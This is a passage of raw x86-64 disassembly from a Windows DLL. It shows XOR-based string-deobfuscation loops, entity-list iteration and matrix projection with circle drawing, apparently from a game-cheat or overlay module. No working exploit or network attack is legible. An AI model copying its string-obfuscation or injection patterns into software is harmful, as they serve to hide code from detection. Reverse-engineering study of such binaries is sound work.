movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x18009c820
cmp r8d, 0x33
jge 0x18009c950
movsxd rax, r8d
lea r9, [rbp + 0x2c60]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x18009c920
lea r8, [rbp + 0x2c60]
mov edx, 2
lea rcx, [rbp + 0x6fd0]
call fcn.180063f30
lea rcx, [rbp + 0x6fd0]
call fcn.18006e260
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa78]
call fcn.180016730
cmp byte [0x1801b8171], sil
movups xmm1, xmmword [str.pA__Q]
movss xmm0, dword [rax]
movzx eax, word [0x1801b8170]
mov word [rbp + 0x20f8], ax
movss dword [rbp + 0xa80], xmm0
mov dword [rbp + 0xa84], 0x42200000
movups xmmword [rbp + 0x20e8], xmm1
je 0x18009cb20
mov r8d, esi
cmp r12d, 2
jl 0x18009cae3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x20ec]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009c9f0
cmp r8d, 0x12
jge 0x18009cb20
movsxd rax, r8d
lea r9, [rbp + 0x20e8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18009caf0
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x20e8]
call fcn.180002b60
test al, al
je 0x18009cc35
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009cc35
mov rax, qword [0x18023d4d8]
mov r13, qword [rax + 0x10]
test r13, r13
je 0x18009cc35
mov r12, qword [r13 + 0x188]
mov r15d, esi
movsd xmm0, qword [rcx + 0x90]
mov eax, dword [rcx + 0x98]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
test r12, r12
je 0x18009cc2e
movss xmm6, dword [rsp + 0x68]
mov r14, rsi
movss xmm7, dword [rsp + 0x64]
movss xmm8, dword [rsp + 0x60]
nop word [rax + rax]
mov rax, qword [r13 + 0x180]
mov rdi, qword [r14 + rax]
test rdi, rdi
je 0x18009cc17
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov dword [rsp + 0x30], esi
movaps xmm3, xmm6
mov dword [rsp + 0x28], esi
movaps xmm2, xmm7
movaps xmm1, xmm8
mov dword [rsp + 0x20], esi
mov rcx, rdi
call qword [0x1802400e0]
inc r15d
add r14, 0x10
movsxd rax, r15d
cmp rax, r12
jb 0x18009cbd0
movss xmm7, dword [0x1801a17d4]
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa88]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [str.hZUS_]
movss dword [rbp + 0xa90], xmm0
movsd xmm0, qword [0x1801b8178]
mov dword [rbp + 0x16c8], eax
movzx eax, byte [0x1801b8184]
movsd qword [rbp + 0x16c0], xmm0
mov byte [rbp + 0x16cc], al
mov dword [rbp + 0xa94], 0x42200000
cmp r12d, 2
jl 0x18009cd7f
mov eax, dword [rbp + 0x1de0]
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8178]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x16c0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16c0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009cd90
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0x16c0]
call fcn.180002b60
test al, al
je 0x18009cf29
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009cf29
mov rax, qword [0x18023d4d8]
mov r13, qword [rax + 0x10]
test r13, r13
je 0x18009cf29
mov r12, qword [r13 + 0x188]
mov r15d, esi
movsd xmm0, qword [rcx + 0x90]
mov eax, dword [rcx + 0x98]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
test r12, r12
je 0x18009cf22
movss xmm6, dword [rsp + 0x68]
mov r14, rsi
movss xmm7, dword [rsp + 0x64]
movss xmm8, dword [rsp + 0x60]
movss xmm9, dword [0x1801a181c]
nop word [rax + rax]
mov rax, qword [r13 + 0x180]
mov rdi, qword [r14 + rax]
test rdi, rdi
je 0x18009cf07
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
lea rbx, [0x18023d940]
mov rcx, rbx
mov byte [rsp + 0x20], sil
mov r9b, 1
mov rdx, rdi
call fcn.1800dc680
movaps xmm3, xmm6
mov dword [rsp + 0x30], esi
addss xmm3, xmm9
mov dword [rsp + 0x28], esi
movaps xmm2, xmm7
mov dword [rsp + 0x20], esi
movaps xmm1, xmm8
mov rcx, rdi
call qword [0x1802400e0]
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, rbx
call fcn.1800dc680
inc r15d
add r14, 0x10
movsxd rax, r15d
cmp rax, r12
jb 0x18009ce80
movss xmm7, dword [0x1801a17d4]
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa98]
call fcn.180016730
cmp byte [0x18023c208], sil
movss xmm0, dword [rax]
movss dword [rbp + 0xaa0], xmm0
mov dword [rbp + 0xaa4], 0x42200000
je 0x18009d0c9
mov eax, dword [0x1801b8190]
mov r8d, esi
movsd xmm0, qword [0x1801b8188]
mov dword [rbp + 0x1738], eax
movzx eax, byte [0x1801b8194]
mov byte [rbp + 0x173c], al
movsd qword [rbp + 0x1730], xmm0
cmp r12d, 2
jl 0x18009d080
mov eax, dword [rbp + 0x1de0]
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8188]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1730], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1734]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1734], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1730]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009d090
lea rcx, [rbp + 0x1730]
jmp 0x18009d13d
cmp byte [0x1801b81a1], sil
movsd xmm0, qword [str.p_UV__WU__]
movzx eax, word [0x1801b81a0]
movsd qword [rbp + 0xfb0], xmm0
mov word [rbp + 0xfb8], ax
je 0x18009d136
xor byte [rbp + 0xfb1], 0x33
xor byte [rbp + 0xfb2], 0x34
xor byte [rbp + 0xfb3], 0x35
xor byte [rbp + 0xfb4], 0x36
xor byte [rbp + 0xfb5], 0x37
xor byte [rbp + 0xfb6], 0x38
xor byte [rbp + 0xfb7], 0x39
xor byte [rbp + 0xfb8], 0x3a
xor byte [rbp + 0xfb9], 0x3b
mov byte [rbp + 0xfb0], 0x42
lea rcx, [rbp + 0xfb0]
lea rdx, [rbp + 0xaa0]
call fcn.180002b60
test al, al
je 0x18009d15f
cmp byte [0x18023c208], sil
sete al
mov byte [0x18023c208], al
jmp 0x18009d166
movzx eax, byte [0x18023c208]
test al, al
je 0x18009d1b0
mov rax, qword [0x18023ff60]
mov r9, qword [rax]
test r9, r9
je 0x18009d1b0
movsxd rdx, dword [0x18023d958]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009d1b0
mov qword [0x18023c200], rcx
lea rcx, [rbp + 0x2f10]
call fcn.180068b30
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
mov r13, 0xffffffffffffffff
movss xmm7, dword [0x1801baa40]
movsd xmm10, qword [0x1801baa70]
cmp dword [0x1802402a4], 1
jne 0x18009f8f3
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xaa8]
movss xmm9, dword [0x1801baad8]
addss xmm0, xmm9
mov dword [rbp + 0xaa8], 0x43520000
movss dword [rbp + 0xaac], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b81a4]
lea rdx, [rbp + 0xab0]
mov dword [rbp + 0x70], eax
lea rcx, [rbp + 0x70]
movzx eax, byte [0x1801b81a8]
xor r9d, r9d
xor byte [rbp + 0x71], 0x33
xor al, 0x36
xor byte [rbp + 0x72], 0x34
xor r8d, r8d
xor byte [rbp + 0x73], 0x35
mov byte [rbp + 0x74], al
mov dword [rbp + 0xab0], 0x43a50000
mov dword [rbp + 0xab4], 0x4405c000
mov byte [rbp + 0x70], Ordinal_79
call fcn.18000fbb0
mov eax, dword [str.vROI_]
mov r8d, esi
movsd xmm0, qword [0x1801b81b0]
movdqa xmm6, xmmword [0x1801bab60]
movdqa xmm8, xmmword [rbp + 0x1de0]
mov dword [rbp + 0x16d8], eax
movzx eax, byte [0x1801b81bc]
mov byte [rbp + 0x16dc], al
mov dword [rbp + 0xab8], 0x43a00000
mov dword [rbp + 0xabc], 0x43ed8000
movsd qword [rbp + 0x16d0], xmm0
cmp r12d, 2
jl 0x18009d3b0
movd eax, xmm8
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b81b0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x16d0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16d4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16d0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009d3c0
xor r9d, r9d
lea rdx, [rbp + 0xab8]
mov r8b, 1
lea rcx, [rbp + 0x16d0]
call fcn.180003bf0
mov eax, dword [str.RPI_M_]
mov r8d, esi
movsd xmm0, qword [str.dVU__]
mov dword [rbp + 0x1bc8], eax
movzx eax, word [0x1801b81cc]
mov word [rbp + 0x1bcc], ax
movzx eax, byte [0x1801b81ce]
mov byte [rbp + 0x1bce], al
movsd qword [rbp + 0x1bc0], xmm0
cmp r12d, 2
jl 0x18009d52b
movd eax, xmm8
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dVU__]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1bc0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bc4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bc4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bc0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009d540
mov qword [rsp + 0x28], rsi
lea rdx, [0x180240420]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, 0x40
lea rcx, [rbp + 0x1bc0]
call fcn.18004a5d0
call fcn.180016870
addss xmm0, dword [0x1801a17d4]
call fcn.180025690
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str.dVU__9]
mov qword [rbp + 0xac8], rax
mov dword [rbp + 0xac0], 0x43b90000
mov dword [rbp + 0xac4], 0x43c58000
je 0x18009d700
cmp r12d, 2
jl 0x18009d6bb
movd eax, xmm8
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xac8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0xac8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xacc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xacc], xmm2
jmp 0x18009d700
lea r9, [rbp + 0xac8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18009d6d0
xor r9d, r9d
lea rdx, [rbp + 0xac0]
mov r8b, 1
lea rcx, [rbp + 0xac8]
call fcn.18000fbb0
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
cmp qword [rcx + 8], rsi
je 0x18009d9a6
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov r13, qword [rcx + 0x10]
test r13, r13
je 0x18009d9a6
mov r12, qword [r13 + 0x188]
mov ebx, esi
test r12, r12
je 0x18009d99f
mov r15, rsi
nop dword [rax]
mov rax, qword [r13 + 0x180]
mov r14, qword [r15 + rax]
test r14, r14
je 0x18009d98d
mov r14, qword [r14 + 0x20]
mov edx, ebx
lea rcx, [rbp + 0x8ff5]
test ebx, ebx
jns 0x18009d794
neg edx
call fcn.180058920
dec rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_45
jmp 0x18009d799
call fcn.180058920
lea r9, [rsp + 0x40]
mov rdx, rax
lea r8, [rbp + 0x8ff5]
lea rcx, [rbp + 0x2c20]
call fcn.1800536b0
cmp qword [rbp + 0x2c38], 0xf
lea rdi, [rbp + 0x2c20]
movzx eax, word [0x1801b81d8]
cmova rdi, qword [rbp + 0x2c20]
cmp byte [0x1801b81d9], sil
mov word [rsp + 0x44], ax
je 0x18009d7ea
xor byte [rsp + 0x45], 0x33
mov byte [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp + 0x2c50], rsi
movups xmmword [rbp + 0x2c40], xmm0
lea r8, [rbp + 0x2c40]
mov byte [rbp + 0x2c40], sil
lea rdx, [r14 + 0x298]
mov qword [rbp + 0x2c58], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2740]
call fcn.180054640
mov r14, 0xffffffffffffffff
lea rcx, [rsp + 0x44]
mov r8, r14
inc r8
cmp byte [rcx + r8], sil
jne 0x18009d836
lea rdx, [rsp + 0x44]
mov rcx, rax
call fcn.180072550
mov qword [rbp + 0x2770], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x2760], xmm0
mov qword [rbp + 0x2778], rsi
mov r8, r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2760], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2770], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], sil
jne 0x18009d890
mov rdx, rdi
lea rcx, [rbp + 0x2760]
call fcn.180072550
mov qword [rbp + 0x2ea0], rsi
lea rcx, [rbp + 0x2760]
mov qword [rbp + 0x2ea8], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e90], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2ea0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
call fcn.180068b30
lea rcx, [rbp + 0x2740]
call fcn.180068b30
lea rcx, [rbp + 0x2c40]
call fcn.180068b30
lea rcx, [rbp + 0x2c20]
call fcn.180068b30
cmp qword [rbp + 0x2ea8], 0xf
lea rcx, [rbp + 0x2e90]
lea rdx, [0x180240420]
cmova rcx, qword [rbp + 0x2e90]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x18009d981
cmp dword [0x18023d948], ebx
lea rcx, [rbp + 0x2e90]
lea r9, [rbp + 0xad0]
mov dword [rbp + 0xad0], esi
sete dl
mov dword [rbp + 0xad4], esi
cmp qword [rbp + 0x2ea8], 0xf
cmova rcx, qword [rbp + 0x2e90]
xor r8d, r8d
call fcn.180008210
test al, al
je 0x18009d981
mov dword [0x18023d948], ebx
lea rcx, [rbp + 0x2e90]
call fcn.180068b30
inc ebx
add r15, 0x10
movsxd rax, ebx
cmp rax, r12
jb 0x18009d760
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180013c40
call fcn.180006b10
call fcn.180013c40
mov edx, dword [0x18023d948]
cmp edx, 0xffffffff
je 0x18009d9c8
mov dword [0x18023d95c], edx
jmp 0x18009d9ce
mov edx, dword [0x18023d95c]
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x18009de5f
mov rax, qword [0x18023ff68]
shl edx, 4
mov rcx, qword [rax]
mov rax, qword [rcx + 0x10]
movsxd rcx, edx
mov rax, qword [rax + 0x180]
mov r15, qword [rcx + rax]
test r15, r15
je 0x18009de5f
call fcn.1800177c0
mulsd xmm0, xmm10
mov edi, esi
cvtsd2ss xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm15, dword [0x1801a7ef0]
movaps xmm13, xmm0
addss xmm13, dword [0x1801a17c4]
mov rbx, qword [0x18023ffb8]
xorps xmm10, xmm10
mov r14, qword [0x18023ff70]
movss xmm14, dword [0x1801a7edc]
mulss xmm13, dword [0x1801a17b8]
nop dword [rax]
nop word [rax + rax]
movsd xmm6, qword [r15 + 0x90]
lea eax, [rdi + 1]
xorps xmm8, xmm8
xorps xmm9, xmm9
cvtsi2ss xmm8, edi
cvtsi2ss xmm9, eax
mulss xmm8, xmm11
mulss xmm9, xmm11
mulss xmm8, xmm7
mulss xmm9, xmm7
movaps xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm11, dword [r15 + 0x98]
movaps xmm7, xmm6
mulss xmm0, xmm13
subss xmm11, xmm15
shufps xmm7, xmm7, 0x55
movsd qword [rsp + 0x60], xmm6
addss xmm11, xmm10
movaps xmm10, xmm7
addss xmm10, xmm0
movaps xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
movaps xmm8, xmm0
movaps xmm0, xmm9
mulss xmm8, xmm13
addss xmm8, dword [rsp + 0x60]
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm12, xmm0
movaps xmm0, xmm9
mulss xmm12, xmm13
addss xmm12, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mov rax, qword [r14]
movaps xmm5, xmm0
movss xmm7, dword [rbx]
movaps xmm4, xmm8
movss xmm9, dword [rbx + 4]
movaps xmm3, xmm8
movaps xmm0, xmm10
mulss xmm5, xmm13
mulss xmm0, dword [rax + 0x260]
movaps xmm1, xmm11
mulss xmm4, dword [rax + 0x250]
mulss xmm3, dword [rax + 0x254]
mulss xmm8, dword [rax + 0x258]
addss xmm4, xmm0
mulss xmm1, dword [rax + 0x270]
movaps xmm0, xmm10
mulss xmm0, dword [rax + 0x264]
mulss xmm10, dword [rax + 0x268]
addss xmm4, xmm1
addss xmm5, dword [rsp + 0x60]
addss xmm3, xmm0
movaps xmm1, xmm11
mulss xmm1, dword [rax + 0x274]
addss xmm8, xmm10
addss xmm4, dword [rax + 0x280]
movaps xmm0, xmm11
xorps xmm10, xmm10
mulss xmm0, dword [rax + 0x278]
addss xmm3, xmm1
addss xmm8, xmm0
addss xmm3, dword [rax + 0x284]
addss xmm8, dword [rax + 0x288]
comiss xmm14, xmm8
jb 0x18009dbc8
xorps xmm4, xmm4
xorps xmm6, xmm6
jmp 0x18009dc23
movss xmm2, dword [0x1801a17bc]
movaps xmm1, xmm7
divss xmm2, xmm8
movss xmm8, dword [0x1801a17b8]
movaps xmm6, xmm9
mulss xmm4, xmm2
mulss xmm2, xmm3
movaps xmm0, xmm4
mulss xmm1, xmm8
mulss xmm0, xmm8
mulss xmm2, xmm8
mulss xmm0, xmm7
mulss xmm2, xmm9
addss xmm0, xmm8
mulss xmm6, xmm8
addss xmm2, xmm8
addss xmm0, xmm1
subss xmm6, xmm2
addss xmm4, xmm0
movss dword [rbp + 0x2dfc], xmm6
movaps xmm3, xmm5
movss dword [rbp + 0x2df8], xmm4
movaps xmm7, xmm5
mov rax, qword [r14]
movaps xmm0, xmm12
movss xmm8, dword [rbx]
movaps xmm1, xmm11
movss xmm9, dword [rbx + 4]
mulss xmm3, dword [rax + 0x250]
mulss xmm0, dword [rax + 0x260]
mulss xmm1, dword [rax + 0x270]
mulss xmm5, dword [rax + 0x258]
addss xmm3, xmm0
mulss xmm7, dword [rax + 0x254]
movaps xmm0, xmm12
mulss xmm12, dword [rax + 0x268]
mulss xmm0, dword [rax + 0x264]
addss xmm3, xmm1
movaps xmm1, xmm11
mulss xmm11, dword [rax + 0x278]
mulss xmm1, dword [rax + 0x274]
addss xmm5, xmm12
addss xmm3, dword [rax + 0x280]
addss xmm7, xmm0
addss xmm5, xmm11
addss xmm7, xmm1
addss xmm5, dword [rax + 0x288]
addss xmm7, dword [rax + 0x284]
comiss xmm14, xmm5
jb 0x18009dce1
xorps xmm3, xmm3
xorps xmm5, xmm5
jmp 0x18009dd3d
movss xmm11, dword [0x1801a17b8]
movaps xmm1, xmm8
movss xmm2, dword [0x1801a17bc]
divss xmm2, xmm5
mulss xmm1, xmm11
movaps xmm5, xmm9
mulss xmm3, xmm2
mulss xmm2, xmm7
movaps xmm0, xmm3
mulss xmm5, xmm11
mulss xmm0, xmm11
mulss xmm2, xmm11
mulss xmm0, xmm8
mulss xmm2, xmm9
addss xmm0, xmm11
addss xmm2, xmm11
addss xmm0, xmm1
subss xmm5, xmm2
addss xmm3, xmm0
